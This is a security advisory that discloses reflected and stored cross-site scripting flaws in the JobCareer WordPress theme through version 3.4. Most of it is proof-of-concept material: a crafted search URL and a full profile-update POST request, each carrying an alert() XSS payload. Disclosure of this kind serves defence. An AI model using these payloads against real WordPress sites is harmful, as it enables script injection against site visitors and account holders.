JobCareer < 3.5 – Multiple Cross-Site Scripting (XSS)

Description

An Unauthenticated Reflected & Authenticated Persistent XSS vulnerabilities were discovered in the JobCareer theme through 3.4 for WordPress.

Unauthenticated Reflected XSS -> Vulnerable parameters: job_title, specialisms, location

Authenticated Persistent XSS on Employer Profile -> «Complete Address» text field

Proof of Concept

### [ PoC Unauthenticated Reflected XSS: ]

http://jobcareer.chimpgroup.com/jobs-modern-list/?job_title=%22%3E%3Csvg%2Fonload%3Dalert(`XSS`)%3E&specialisms=&cs_search_location_field=&location=&radius=5&cs_=&cs_=Find+Job


### [ PoC Authenticated Persistent XSS -> Employer Profile: ]

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: jobcareer.chimpgroup.com
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------373898295520776006712397621876
Content-Length: 3832
Origin: http://jobcareer.chimpgroup.com
Referer: http://jobcareer.chimpgroup.com/employer-account/?profile_tab=profile
Cookie: [cookies_here]

-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="media_upload"

undefined
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cover_media_upload"

undefined
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_employer_img"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_cover_employer_img"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="display_name"

VladVector
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_allow_search"

yes
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_specialisms[]"

banking
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="comp_detail"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_facebook"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_twitter"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_linkedin"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_phone_number"

1337
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="user_email"

wihovo6827@invql.com
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="user_url"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_country"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_city"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_comp_address"

"><!--<img src="--><img src=x onerror=(alert)(`XSS`);//">
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_address"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_latitude"

51.5073509
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_longitude"

-0.12775829999998223
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_add_new_loc"


-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_post_loc_zoom"

11
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_cus_field[established]"

1337
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_cus_field[team-size]"

1337
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_cus_field[type]"

private
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="user_profile"

update_profile
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="cs_user"

12919
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="action"

ajax_employer_form_save
-----------------------------373898295520776006712397621876
Content-Disposition: form-data; name="post_id"

12919
-----------------------------373898295520776006712397621876--


PoC Employer Profile URL: http://jobcareer.chimpgroup.com/employer/vladvector/